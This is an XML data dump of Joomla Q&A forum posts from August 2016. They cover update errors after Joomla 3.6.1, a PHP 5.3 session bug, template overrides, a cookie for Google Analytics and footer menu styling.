  <row Id="17352" PostTypeId="1" CreationDate="2016-08-03T16:27:27.083" Score="1" ViewCount="89" Body="&lt;p&gt;I am looking for a solution to sort a Category-Blog by 'unpublish-date'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i have done so far:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;created an own menu-style by copying&lt;br&gt;&lt;code&gt;blog.xml&lt;/code&gt;, &lt;code&gt;blog.php&lt;/code&gt;, &lt;code&gt;blog-item.php&lt;/code&gt; and &lt;code&gt;blog-links.php&lt;/code&gt; to &lt;code&gt;my-*.*&lt;/code&gt; into my template directory&lt;/li&gt;&#xA;&lt;li&gt;checked menu-items: now i can select a category-blog (my~)&lt;/li&gt;&#xA;&lt;li&gt;added the following line to &lt;code&gt;my-blog.xml&lt;/code&gt;&lt;br /&gt;&#xA;&lt;pre&gt;&amp;lt;option value=&quot;publish_down&quot;&amp;gt;JUNPUBLISHED&amp;lt;/option&amp;gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;selected 'unpubish' as order_date in menu-item&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hewe comes my problem now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some time ago i used to edit &lt;code&gt;query.php&lt;/code&gt; in &lt;code&gt;root/components/com_content/helpers/&lt;/code&gt; (i know its a core hack, now i want to do better) to add the 'publish_down' case like&lt;pre&gt;case 'publish_down' :&#xA;    $queryDate = ' CASE WHEN a.publish_down = ' . $db-&gt;quote($db-&gt;getNullDate()) . ' THEN a.created ELSE a.publish_down END ';&#xA;    break;&lt;/pre&gt;&#xA;But unfortunately this doesn't work anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you guys any hints for me? Appreciate you help!&lt;/p&gt;&#xA;" OwnerUserId="8805" LastActivityDate="2024-03-25T15:06:35.790" Title="Override order_date but query.php not working" Tags="|templates|overrides|category-blog|joomla-3.6|sorting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17353" PostTypeId="2" ParentId="17117" CreationDate="2016-08-03T16:33:53.547" Score="0" Body="&lt;p&gt;If you don't want to go with some sort of core hack, then I would look at creating a trigger on the session table itself. Something like this should work but is not tested.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TRIGGER `delete_before` &#xA;BEFORE INSERT ON `j25_session`&#xA;FOR EACH ROW &#xA;BEGIN &#xA;IF(NEW.`guest` = 1) THEN &#xA;SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'your error message';&#xA;END IF; &#xA;END;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8804" LastActivityDate="2016-08-03T16:33:53.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17354" PostTypeId="2" ParentId="17352" CreationDate="2016-08-03T18:39:30.870" Score="0" Body="&lt;p&gt;You can easily avoid core hacks loading your own model to replace the original one. Please, check these links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to override the component mvc from the Joomla! core&lt;/strong&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Did you know? Overrides are not just for HTML!&lt;/strong&gt;&#xA;&lt;a href=&quot;https://community.joomla.org/blogs/community/521-did-you-know-overrides-are-not-just-for-html.html&quot; rel=&quot;nofollow&quot;&gt;https://community.joomla.org/blogs/community/521-did-you-know-overrides-are-not-just-for-html.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-08-03T18:39:30.870" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17356" PostTypeId="1" AcceptedAnswerId="17357" CreationDate="2016-08-03T22:29:12.397" Score="11" ViewCount="5390" Body="&lt;p&gt;I've just tried to update my site from Joomla 3.6.0 to 3.6.1 and I get the following error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The most recent request was denied because it contained an invalid security token. Please refresh the page and try again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I successfully install the update?&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="12352" LastEditDate="2019-11-16T22:56:07.447" LastActivityDate="2019-11-16T22:56:07.447" Title="Joomla 3.6.0 to 3.6.1 results in a &quot;invalid security token&quot; error" Tags="|joomla-3.x|joomla-3.6|update|one-click-updates|security-token|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17357" PostTypeId="2" ParentId="17356" CreationDate="2016-08-03T22:30:01.650" Score="10" Body="&lt;h3&gt;If you &lt;em&gt;don't have&lt;/em&gt; Akeeba Backup installed:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go back to the Joomla Update page&lt;/li&gt;&#xA;&lt;li&gt;Upload and install the &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/download/3.6.1/Joomla_3.6.x_to_3.6.1-Stable-Patch_Package.zip&quot; rel=&quot;noreferrer&quot;&gt;Joomla 3.6.1 Update Package&lt;/a&gt; using the &amp;quot;Upload &amp;amp; Update&amp;quot; tab&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;Extensions&lt;/strong&gt; &amp;gt;&amp;gt; &lt;strong&gt;Manage&lt;/strong&gt; &amp;gt;&amp;gt; &lt;strong&gt;Database&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;You may see a message that the database is out of date. If so, click on the &lt;strong&gt;Fix&lt;/strong&gt; button in the toolbar.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;If you &lt;em&gt;have&lt;/em&gt; Akeeba Backup installed:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to the Plugin Manager&lt;/li&gt;&#xA;&lt;li&gt;Disable the &lt;strong&gt;System - Backup on upgrade&lt;/strong&gt; plugin&lt;/li&gt;&#xA;&lt;li&gt;Go back to the Joomla Update page&lt;/li&gt;&#xA;&lt;li&gt;Upload and install the &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/download/3.6.1/Joomla_3.6.x_to_3.6.1-Stable-Patch_Package.zip&quot; rel=&quot;noreferrer&quot;&gt;Joomla 3.6.1 Update Package&lt;/a&gt; using the &amp;quot;Upload &amp;amp; Update&amp;quot; tab&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;strong&gt;Extensions&lt;/strong&gt; &amp;gt;&amp;gt; &lt;strong&gt;Manage&lt;/strong&gt; &amp;gt;&amp;gt; &lt;strong&gt;Database&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;You may see a message that the database is out of date. If so, click on the &lt;strong&gt;Fix&lt;/strong&gt; button in the toolbar.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-08-04T15:24:18.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17358" PostTypeId="2" ParentId="17356" CreationDate="2016-08-03T23:18:17.987" Score="8" Body="&lt;p&gt;Details about this issue can now be found in the &lt;a href=&quot;https://docs.joomla.org/J3.x:Update_fails_with_an_error_message&quot;&gt;Joomla Docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;What is the cause?&lt;/strong&gt;&lt;br&gt;&#xA;  3.6.1 introduced a CSRF token check to the update component as an extra level of security. 3.6.0 down to 2.5.4 (every version with the&#xA;  update component) will hit the issue with the CSRF token because those&#xA;  versions don't generate the needed code to pass the check. Future&#xA;  updates will work correctly&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Lodder's solutions works perfectly. Using third-party update services like MyJoomla or Watchful.li should not cause any issues&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-08-03T23:18:17.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17360" PostTypeId="1" CreationDate="2016-08-04T03:22:12.530" Score="3" ViewCount="878" Body="&lt;p&gt;After upgrading from joomla 3.6.0 to joomla 3.6.1, joomla suddenly bakend page was blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try to enter to admisnitrator page, and get this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Se ha producido un error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 Failed to start the session: already started by PHP ($_SESSION is set). &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try suggestions from &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/11430&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/11430&lt;/a&gt; but nothing changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help? &lt;/p&gt;&#xA;" OwnerUserId="8807" LastActivityDate="2016-08-04T23:44:11.077" Title="error to login after upgrade from joomla 3.6.0 to joomla 3.6.1" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17361" PostTypeId="2" ParentId="17356" CreationDate="2016-08-04T03:44:43.877" Score="5" Body="&lt;p&gt;I also had the same error message after upgrading 3.6.0 -&gt; 3.6.1:&#xA;0 Failed to start the session: already started by PHP ($_SESSION is set). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To resolve, you need to use PHP Selector and change from 5.3 (it's a PHP 5.3 issue; will be fixed in Joomla 3.6.2). I change from 5.3 --&gt; 5.6 and am now able to login the administration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope helps&lt;/p&gt;&#xA;" OwnerUserId="8808" LastActivityDate="2016-08-04T03:44:43.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17362" PostTypeId="2" ParentId="17360" CreationDate="2016-08-04T04:11:40.770" Score="2" Body="&lt;p&gt;This fix worked for me:&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/11430/files&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/11430/files&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It involves three small changes to the Joomla file &lt;code&gt;libraries/joomla/session/handler/native.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5636" LastActivityDate="2016-08-04T04:11:40.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17367" PostTypeId="2" ParentId="17356" CreationDate="2016-08-04T16:36:09.687" Score="3" Body="&lt;p&gt;If people can't log into the back-end, there is an additional fix on github here:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/11430/files&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/11430/files&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must change the following lines on &#xA;libraries/joomla/session/handler/native.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;private $started;&lt;/code&gt; to &lt;code&gt;private $started=false;&lt;/code&gt; and&#xA;&lt;code&gt;private $closed;&lt;/code&gt; to &lt;code&gt;private $closed=false;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the line &lt;code&gt;$this-&amp;gt;closed = true;&lt;/code&gt; after &lt;code&gt;session_write_close();&lt;/code&gt; (line 153)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the sites I have patched today, this seems to be a PHP 5.3 issue.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2016-08-04T16:36:09.687" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17368" PostTypeId="1" CreationDate="2016-08-04T16:57:37.173" Score="0" ViewCount="146" Body="&lt;p&gt;i'm using ajax live search on my site. &#xA;but it only works on the home page of my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after looking for its problem, i found out that a piece of js code that is supposed to load in , only loads when its home page. and that's why it doesn't work on other pages. i loaded it in  tag mutually, and commented the function that is supposed to load it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;now i wanna find out why this function doesn't work right..&#xA;what should i do?&#xA;has anyone had the same problem with ajax live search?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the function that has to load the js part in  :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     //fix if user provide percent value for the result width&#xA;  if(strpos($searchresultwidth, &quot;%&quot;) !== false) {&#xA;    $searchresultwidth = 2000;&#xA;    $dynamicresult = 1;&#xA;  }    &#xA;  $document-&amp;gt;addScriptDeclaration(&quot;&#xA;  dojo.addOnLoad(function(){&#xA;      document.search = new AJAXSearch&quot;.$theme.&quot;({&#xA;        id : '&quot;.$module-&amp;gt;id.&quot;',&#xA;        node : dojo.byId('offlajn-ajax-search&quot;.$module-&amp;gt;id.&quot;'),&#xA;        searchForm : dojo.byId('search-form&quot;.$module-&amp;gt;id.&quot;'),&#xA;        textBox : dojo.byId('search-area&quot;.$module-&amp;gt;id.&quot;'),&#xA;        suggestBox : dojo.byId('suggestion-area&quot;.$module-&amp;gt;id.&quot;'),&#xA;        searchButton : dojo.byId('ajax-search-button&quot;.$module-&amp;gt;id.&quot;'),&#xA;        closeButton : dojo.byId('search-area-close&quot;.$module-&amp;gt;id.&quot;'),&#xA;        searchCategories : dojo.byId('search-categories&quot;.$module-&amp;gt;id.&quot;'),&#xA;        productsPerPlugin : $productsperplugin,&#xA;        dynamicResult : '$dynamicresult',&#xA;        searchRsWidth : $searchresultwidth,&#xA;        searchImageWidth : '&quot;.intval($params-&amp;gt;get('imagew', 180)).&quot;',&#xA;        minChars : $minchars,&#xA;        searchBoxCaption : '$searchboxcaption',&#xA;        noResultsTitle : '$noresultstitle',&#xA;        noResults : '$noresults',&#xA;        searchFormUrl : '$searchformurl',&#xA;        enableScroll : '$scrolling',&#xA;        showIntroText: '$intro',&#xA;        scount: '$scount',&#xA;        lang: '&quot;.JRequest::getCmd('lang').&quot;',&#xA;        stext: '$stext',&#xA;        moduleId : '$module-&amp;gt;id',&#xA;        resultAlign : '$resultalign',&#xA;        targetsearch: '&quot;.$params-&amp;gt;get('targetsearch', 0).&quot;',&#xA;        linktarget: '&quot;.$params-&amp;gt;get('linktarget', 0).&quot;',&#xA;        keypressWait: '$keypresswait',&#xA;        catChooser : $catchooser,&#xA;        searchResult : $searchresult,&#xA;        seemoreEnabled : $seemoreenabled,&#xA;        seemoreAfter : $seemoreafter,&#xA;        keywordSuggestion : '&quot;.$keywordSuggestion.&quot;',&#xA;        seeMoreResults : '$seemoreresults',&#xA;        resultsPerPage : '&quot;.$params-&amp;gt;get('resultsperpage', 4).&quot;',&#xA;        resultsPadding : '&quot;.$params-&amp;gt;get('resultspadding', 10).&quot;',&#xA;        controllerPrev : '&quot;.JTEXT::_('SEARCH_PREV').&quot;',&#xA;        controllerNext : '&quot;.JTEXT::_('SEARCH_NEXT').&quot;',&#xA;        fullWidth : '1',&#xA;        resultImageWidth : '&quot;.$params-&amp;gt;get('imagew', 180).&quot;',&#xA;        resultImageHeight : '&quot;.$params-&amp;gt;get('imageh', 140).&quot;',&#xA;        showCat : '&quot;.$params-&amp;gt;get('showcat', 1).&quot;',&#xA;        voicesearch : '&quot;.$params-&amp;gt;get('voicesearch', 0).&quot;'&#xA;      })&#xA;    });&quot;&#xA;  ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;an important thing: on english side it works fine on all pages. but on persian language side (persian is a right to left lang) it works only on main page.&lt;/p&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="8738" LastEditDate="2016-08-08T06:07:42.363" LastActivityDate="2016-08-08T06:07:42.363" Title="ajax live search only works on Home page" Tags="|joomla-3.x|search|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17369" PostTypeId="1" CreationDate="2016-08-04T17:45:42.433" Score="1" ViewCount="81" Body="&lt;p&gt;Currently I'm tracking pageviews on my joomla website with Google Tag Manager. But I want to analyze in Google Analytics how my registered users use my website and how guest use it. This can be done with a 'custom dimension'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've done so far is setting a cookie with javascript using Google Tag Manager. This event is triggered on a certain page, only visible for registered users. It works but it's not a great solution because a registered user can be visiting all kinds of pages. The user does not even have to visit the page triggering the setting of the cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if it would be better to make Joomla set this cookie when a user is logged in, instead of using tag manager for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cookieName = &quot;internal&quot;;    &#xA;if ( ( (JFactory::getUser()-&amp;gt;guest) != 1 ) &amp;amp;&amp;amp; ( $app-&amp;gt;input-&amp;gt;cookie-&amp;gt;get($cookieName) != &quot;true&quot; ) ){&#xA;          $cookieValue = &quot;true&quot;;&#xA;          $lifetime = &quot;2592000&quot;; //a month in seconds&#xA;          $app = JFactory::getApplication();&#xA;          $app-&amp;gt;input-&amp;gt;cookie-&amp;gt;set($cookieName, $cookieValue, time() + $lifetime, $app-&amp;gt;get('cookie_path', '/'), $app-&amp;gt;get('cookie_domain'), $app-&amp;gt;isSSLConnection());&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this a good approach or are there other, better ways? Should I create a small plugin for it? Add it to the template?&lt;/p&gt;&#xA;" OwnerUserId="265" LastEditorUserId="265" LastEditDate="2016-08-06T15:03:03.610" LastActivityDate="2016-08-06T15:03:03.610" Title="Show logged in Joomla users as custom dimension in Google Analytics" Tags="|joomla-3.x|user-groups|cookies|google-analytics|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17371" PostTypeId="2" ParentId="17360" CreationDate="2016-08-04T17:59:07.693" Score="0" Body="&lt;p&gt;Yes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This fix worked for me too:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/11430/files&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/11430/files&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It involves three small changes to the Joomla file libraries/joomla/session/handler/native.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help me fix it!!&lt;/p&gt;&#xA;" OwnerUserId="8819" LastActivityDate="2016-08-04T17:59:07.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17373" PostTypeId="1" AcceptedAnswerId="17374" CreationDate="2016-08-04T18:33:49.440" Score="1" ViewCount="1454" Body="&lt;p&gt;I was able to successfully update a site from 3.5.1 to 3.6.0 using the Live Update. However, when I attempted to update the same site to 3.6.1 a few minutes later, I was given a page stating:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;An error has occurred.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;403 Access forbidden.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What can I do to get the latest update?&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-08-11T07:02:50.740" Title="Unable to Use Live Update for Joomla! 3.6.1 (403 Access Forbidden)" Tags="|joomla-3.x|update|access|one-click-updates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17374" PostTypeId="2" ParentId="17373" CreationDate="2016-08-04T18:33:49.440" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Go to Components &gt; Joomla! Update.&lt;/li&gt;&#xA;&lt;li&gt;On the &quot;Live Update&quot; tab, click the link to the update file to download it locally.&lt;/li&gt;&#xA;&lt;li&gt;Click the &quot;Upload &amp;amp; Update&quot; tab.&lt;/li&gt;&#xA;&lt;li&gt;Click the &quot;Browse&quot; button to navigate to the file you just downloaded.&lt;/li&gt;&#xA;&lt;li&gt;Click the &quot;Upload &amp;amp; Install&quot; button.&lt;/li&gt;&#xA;&lt;li&gt;Click &quot;Clear Cache&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Navigate back to Components &gt; Joomla! Update to ensure you get a &lt;strong&gt;No updates available&lt;/strong&gt; message.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: If you are using Akeeba Backup, make sure you don't have the &quot;System - Backup on update&quot; plugin enabled before proceeding with the update.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-08-04T18:33:49.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17375" PostTypeId="2" ParentId="17335" CreationDate="2016-08-04T18:51:26.720" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;The simplest way to achieve this would be to copy the article link and add the link to the article to the image inside your article (i.e. post the article, grab the link, then go back to the article and add the link to any image that will display above your &quot;read more&quot; line).&lt;/li&gt;&#xA;&lt;li&gt;Another way would be to create a template override for the component you are using for your articles. If you are using the default Joomla! Content component (com_content), then your template overrides would be stored in: &lt;code&gt;/templates/[YOUR_THEME]/html/com_content/...&lt;/code&gt; (Your most likely looking for &lt;code&gt;.../category/category.php&lt;/code&gt;). Again, you could programmatically add a link to your &quot;Intro Image&quot; to the actual article.&lt;/li&gt;&#xA;&lt;li&gt;If you want the &quot;Read More&quot; link/image to be the same image for every article, then you could modify the CSS of your template so that the image is the background for the button. Then every time the &quot;read more&quot; button is added, the image is used.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-08-04T18:51:26.720" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17376" PostTypeId="1" CreationDate="2016-08-04T18:53:51.820" Score="1" ViewCount="293" Body="&lt;p&gt;I want to know how to make a menu item (menu link) in a footer menu invisible? You can see it on a print screen I'm attaching to this question. A red arrow and red underlining show which link I'm talking about here. Also here's the link to my live web site (a test site for now). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;idevsky.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the &quot;Disclaimer&quot; link, actually.&lt;a href=&quot;https://i.stack.imgur.com/RpWTr.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RpWTr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7161" LastEditorUserId="7394" LastEditDate="2016-08-09T08:19:10.347" LastActivityDate="2016-08-09T08:19:10.347" Title="How to make a menu item (menu link) invisible in a footer menu?" Tags="|joomla-3.x|menu-item|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17377" PostTypeId="2" ParentId="17334" CreationDate="2016-08-04T19:05:13.143" Score="0" Body="&lt;p&gt;Though you state that PHP mail is tested and working outside of Joomla!, my suggestion would be to use the SMTP method. You can use the SMTP info of any email account you have that accepts SMTP connections (most all do). If you receive the message with the SMTP method, then you know it is a PHP mail issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still don't receive the message, then it very well could be an issue with the template you are using doing an override of the com_contact component. As such, other components/plugins/modules could be causing scripting conflicts, preventing the message from being sent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check to ensure the message is reaching the server for sending, check the &quot;Mail Delivery Reports&quot; on your server to ensure that Joomla! is actually getting the message through to EXIM.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: Many servers (especially shared servers) block the PHP mail function, so it could be the case that your host does that in the future without warning to prevent abuse. SMTP relays are fairly cheap (&lt;a href=&quot;http://blog.mandrill.com/important-changes-to-mandrill.html&quot; rel=&quot;nofollow&quot;&gt;Mandrill used to be free!&lt;/a&gt;). If mail is a mission-critical part of your site, invest in a good SMTP relay service that can monitor every message sent and give you analytics for review.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-08-04T19:05:13.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17378" PostTypeId="2" ParentId="17376" CreationDate="2016-08-04T19:16:45.033" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Login to your website administration site&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to Menus -&gt; Your menus which has this menu item &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ek7AD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ek7AD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Click on the Unpublish button of the desired menu item&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oZZDu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oZZDu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not want to unpublish and just want to hide it, edit the menu item -&gt; go to Link type tab -&gt; Select No to Display in Menu option&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fbkrZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fbkrZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2016-08-04T19:22:36.237" LastActivityDate="2016-08-04T19:22:36.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17379" PostTypeId="1" CreationDate="2016-08-04T20:55:36.543" Score="0" ViewCount="52" Body="&lt;p&gt;I want to move the footer menu 150 px to the right. Also please let me know which file to edit and what line. Otherwise I would be stuck with a code and I won't know what to do with it. Here's the link to live site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;idevsky.com&lt;/p&gt;&#xA;" OwnerUserId="7161" LastActivityDate="2017-01-06T15:21:38.157" Title="How to move a footer menu 150 px to the right?" Tags="|css|joomla-3.5|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17380" PostTypeId="2" ParentId="17379" CreationDate="2016-08-04T21:07:52.047" Score="1" Body="&lt;p&gt;Here's how to do it.&#xA;230 px is even better!&#xA;In this file:&#xA;templates/jp-x2/css/joomlaplates.css&#xA;In &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.footer-outer {&#xA;&#xA;margin-right:-230px;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7161" LastActivityDate="2016-08-04T21:07:52.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17385" PostTypeId="2" ParentId="17360" CreationDate="2016-08-04T23:44:11.077" Score="3" Body="&lt;p&gt;This issue has to do with your server running an old version of PHP (5.3) and a bug in Joomla 3.6.1. &lt;strong&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5667-joomla-3-6-2-released.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla 3.6.2&lt;/a&gt; was released a couple of hours ago, and should fix this problem.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h1&gt;What's in 3.6.2&lt;/h1&gt;&#xA;&lt;p&gt;Joomla! 3.6.2 fixes some issues found in the 3.6.1 release on&#xA;Wednesday related to sessions on PHP 5.3 and some general email&#xA;cloaking bugs&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Although the minimum requirements for running Joomla is PHP 5.3, this version reached &lt;a href=&quot;http://php.net/eol.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;EOL (End Of Life)&lt;/a&gt; almost two years ago, and it's considered a security risk to use it on a live server. You should check with your hosting provider how (or if) you can update to a more recent version, like PHP 5.6 or even &lt;a href=&quot;https://www.gavick.com/blog/joomla-php-7-speedtest&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP 7&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-08-04T23:44:11.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
